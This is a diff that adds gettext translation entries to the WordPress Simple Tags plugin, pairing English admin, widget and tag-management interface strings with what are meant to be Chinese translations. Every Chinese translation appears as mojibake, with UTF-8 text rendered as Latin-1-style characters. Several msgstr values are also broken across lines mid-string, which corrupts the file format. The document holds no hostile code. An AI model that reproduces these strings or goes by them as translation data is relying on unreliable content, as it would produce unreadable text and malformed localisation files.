+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "è¿æ»€ &#187;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:912
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "å
+šéšæŽæ°"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:936
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:815
+msgid "No content to edit."
+msgstr "æ²¡æå¯äŸçŒèŸçå
+å®¹ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "æ ç­Ÿ (ä»¥è±æéå·åéå€äžªæ ç­ŸïŒcats, pet food, dogs)"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1105
+msgid "No new tag specified!"
+msgstr "æªæå®æ°æ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1124
+msgid "No new/old valid tag specified!"
+msgstr "æªæå®ææçæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1156
+msgid "No tag renamed."
+msgstr "æ²¡ææ ç­Ÿè¢«éåœåã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1159
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "æåå°æ ç­Ÿ &laquo;%1$s&raquo; éåœåäžº &laquo;%2$s&raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1166
+msgid "No valid new tag."
+msgstr "æ°æ ç­Ÿæ æã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1183
+msgid "No objects (post/page) found for specified old tags."
+msgstr "æªæŸå°æå®æ§æ ç­Ÿäžçæ¥å¿æé¡µé¢ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1208
+msgid "No tag merged."
+msgstr "æ²¡ææ ç­Ÿè¢«åå¹¶ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1211
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "æåå°æ ç­Ÿ &laquo;%1$s&raquo; åå¹¶äžº &laquo;%2$s&raquo;ã %3$s äžªå¯¹è±¡è¢«çŒèŸã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1214
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "éè¯¯ïŒåŸ
+éåœåçæ ç­Ÿå€ªå°ïŒåŸ
+åå¹¶çæ ç­Ÿå€ªå€ãè¯·éæ°éæ©ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1240
+msgid "No tag specified!"
+msgstr "æªæå®æ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1265
+msgid "No tag deleted."
+msgstr "æªå é€æ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1268
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "å·²å é€ %s äžªçŒ©ç¥åã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1280
+msgid "No new tag(s) specified!"
+msgstr "æªæå®æ°æ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1328
+msgid "No tag added."
+msgstr "æ²¡ææ ç­Ÿè¢«æ·»å ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1331
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "æ ç­Ÿè¢«æ·»å å° %1s æ¡æ¥å¿ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1343
+msgid "No new slug(s) specified!"
+msgstr "æªæå®æ°çŒ©ç¥åïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1359
+msgid "Tags number and slugs number isn't the same!"
+msgstr "æ ç­Ÿæ°éäžçŒ©ç¥åæ°éäžåïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1383
+msgid "No slug edited."
+msgstr "æªçŒèŸçŒ©ç¥åã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1386
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "å·²çŒèŸ %s äžªçŒ©ç¥åã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1404
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1089
+msgid "Nothing to muck. Good job !"
+msgstr "æ²¡æå¯äŸæž
+ççé¡¹ç®ãå¹²åŸæŒäº®ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1429
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1117
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "å·²å é€ %s è¡ã WordPress æ°æ®åºæž
+çå®æ¯ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1452
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1130
+msgid "Display click tags"
+msgstr "æŸç€ºäžé®æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1452
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1131
+msgid "Hide click tags"
+msgstr "éèäžé®æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1504
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1148
+msgid "Suggested tags from :"
+msgstr "æšèæ ç­Ÿæ¥æºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1505
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1149
+msgid "Local tags"
+msgstr "æ¬å°æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1506
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1150
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1507
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1151
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1513
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1154
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "éæ©æšèæ ç­Ÿæ¥æºïŒæ¬å°æ ç­ŸãYahoo! æ Tag The NetïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1742
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1238
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "æåæŽæ° %s ç¯æ¥å¿çæ ç­Ÿ!"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1744
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1236
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "æåæŽæ° %s äžªé¡µé¢çæ ç­Ÿ!"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2155
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1566
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; çæææ 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | çæ¬ %s"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "åé¡µïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2274
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1668
+msgid "General"
+msgstr "åžžè§"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2277
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1671
+msgid "Administration"
+msgstr "ç®¡ç"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2280
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1674
+msgid "Meta Keyword"
+msgstr "å
+å
+³é®è¯"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2283
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1677
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "å
+åµæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2286
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1680
+msgid "Tags for Current Post"
+msgstr "åœåæ¥å¿æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2289
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1683
+msgid "Related Posts"
+msgstr "çžå
+³æ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2292
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1686
+msgid "Related Tags"
+msgstr "çžå
+³æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:2295
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1689
+msgid "Tag cloud"
+msgstr "æ ç­Ÿäº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:143
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:133
+msgid "Empty field will use default value."
+msgstr "ç©ºå­æ®µå°äœ¿çšé»è®€åŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:146
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:136
+msgid "Title:"
+msgstr "æ é¢ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:151
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:141
+msgid "Max tags to display: (default: 45)"
+msgstr "æ ç­ŸæŸç€ºäžªæ°éå¶ïŒé»è®€ 45ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:156
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:146
+msgid "Tags selection:"
+msgstr "æ ç­Ÿéæ©äŸæ®ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:159
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:170
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:149
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:160
+msgid "Inverse Alphabetical"
+msgstr "å­æ¯ååº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:160
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:150
+msgid "Most popular (default)"
+msgstr "ç­éšåºŠïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:162
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:152
+msgid "Random"
+msgstr "éæº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:173
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:163
+msgid "Random (default)"
+msgstr "éæºïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:178
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:168
+msgid "Font size mini: (default: 8)"
+msgstr "æå·éšæ ç­Ÿå°ºå¯žïŒé»è®€ 8ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:183
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:173
+msgid "Font size max: (default: 22)"
+msgstr "æç­éšæ ç­Ÿå°ºå¯žïŒé»è®€ 22ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:188
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:178
+msgid "Unit font size:"
+msgstr "å­å·åäœïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:190
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:180
+msgid "Point (default)"
+msgstr "pt ïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:191
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:181
+msgid "Pixel"
+msgstr "px"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:192
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:182
+msgid "Em"
+msgstr "Em"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:193
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:183
+msgid "Pourcent"
+msgstr "çŸåæ¯"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:198
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:188
+msgid "Format:"
+msgstr "æ ·åŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:200
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:190
+msgid "Flat (default)"
+msgstr "å¹³éºïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:201
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:191
+msgid "List (UL/LI)"
+msgstr "åè¡šïŒUL/LIïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:207
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:197
+msgid "Use auto color cloud:"
+msgstr "èªåšäžºæ ç­Ÿäºå®ä¹é¢è²ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:211
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:201
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "æå·éšæ ç­Ÿé¢è² ïŒé»è®€#CCCCCCïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:216
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:206
+msgid "Font color max: (default: #000000)"
+msgstr "æç­éšæ ç­Ÿé¢è² ïŒé»è®€#000000ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:221
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:211
+msgid "Extended format: (advanced usage)"
+msgstr "æ©å±æ ŒåŒïŒé«çº§çšæ³ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:252
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:242
+msgid "Tag Cloud Widgets"
+msgstr "æ ç­Ÿäº Widgets"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:253
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:243
+msgid "How many tag cloud widgets would you like?"
+msgstr "æ ç­Ÿäº Widgets æ°éïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:257
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:247
+msgid "Save"
+msgstr "ä¿å­"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:274
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:275
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:265
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:266
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "æ©å±æ ç­Ÿäº %d"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:111
+msgid "No tags for this post."
+msgstr "è¯¥æ¥å¿æªå æ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:123
+msgid "No related tags found."
+msgstr "æªæŸå°çžå
+³æ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1113
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "<a %tag_rel% href=\"%tag_link_remove%\" title=\"ä»æçŽ¢äž­ç§»é€ %tag_name_attribute%\">ç§»é€ %tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1502
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:218
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:522
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:575
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:818
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "è®¿é® <a href=\"http://code.google.com/p/simple-tags/\">æä»¶äž»é¡µ</a> ä»¥æ¥çè¯Šæ
+ãåŠææšåç°ä»»äœ Bug æææŽå¥œçäž»æïŒè¯· <a href=\"mailto:amaury@wordpress-fr.net\">äžæèç³»</a> ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:225
+msgid "Options"
+msgstr "éé¡¹"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:229
+msgid "Activation"
+msgstr "å¯çš"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:236
+msgid "Tags database"
+msgstr "æ ç­Ÿæ°æ®åº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:243
+msgid "Target"
+msgstr "ç®æ "
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:250
+msgid "Keywords list"
+msgstr "å
+³é®è¯åè¡š"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:253
+msgid "Separated with a comma"
+msgstr "å
+³é®è¯åè¡šïŒè±æéå·éåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:259
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:525
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:548
+msgid "Update options &raquo;"
+msgstr "æŽæ°éé¡¹ &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:263
+msgid "Auto tags all content &raquo;"
+msgstr "èªåšäžºææå
+å®¹æ·»å æ ç­Ÿ &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:301
+#, php-format
+msgid "All done! %s tags added."
+msgstr "å®æïŒå·²æ·»å  %s äžªæ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:317
+msgid "Active tags for page:"
+msgstr "å¯¹é¡µé¢å¯çšæ ç­ŸåèœïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:318
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "å¯çšè¯¥éé¡¹å¯ä»¥å¯¹é¡µé¢æ·»å æ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:340
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "èªåšåš header äž­å å
+¥è¿äºå
+å
+³é®è¯ïŒåå€§å€æ°äž»é¢æ¯æïŒãæçŽ¢åŒæææ¶äŒå©çšè¿äºå
+³é®è¯<br /><strong>è­ŠåïŒ</strong> åŠæå¯çšäºæä»¶ All in One SEO PackïŒåè¯¥åèœè¢«çŠçšã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:574
+msgid "Advanced tags management"
+msgstr "é«çº§æ ç­Ÿç®¡ç"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:581
+msgid "WordPress 2.3 have a small bug and can create empty terms."
+msgstr "WordPress 2.3 æäžäžªå° BugïŒäŒäº§çç©ºçœæ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:581
+msgid "Clean it !"
+msgstr "æž
+ç!"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:615
+msgid "Published"
+msgstr "å·²ååž"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:615
+msgid "Published posts"
+msgstr "å·²ååžçæ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:616
+msgid "Scheduled"
+msgstr "åŸ
+ååž"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:616
+msgid "Scheduled posts"
+msgstr "åŸ
+ååžçæ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:617
+msgid "Pending Review"
+msgstr "åŸ
+å®¡æ ž"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:617
+msgid "Pending posts"
+msgstr "åŸ
+å®¡æ žçæ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:618
+msgid "Draft"
+msgstr "èçš¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:619
+msgid "Private"
+msgstr "ç§äºº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:619
+msgid "Private posts"
+msgstr "ç§äººæ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:663
+msgid "Mass edit tags"
+msgstr "æ¹éçŒèŸæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:670
+msgid "All Posts"
+msgstr "å
+šéšæ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:691
+msgid "All Pages"
+msgstr "å
+šéšé¡µé¢"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:700
+msgid "Search Posts"
+msgstr "æçŽ¢æ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:732
+msgid "Show all dates"
+msgstr "æææ¥æ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:752
+msgid "View all categories"
+msgstr "ææåç±»"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:765
+msgid "Filter"
+msgstr "ç­é"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:795
+msgid "Update all &raquo;"
+msgstr "å
+šéšæŽæ° &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1009
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1024
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "æ ç­Ÿ <small> ( ä»¥è±æéå·åéå€äžªæ ç­ŸïŒcats, pet food, dogs)</small>"
+
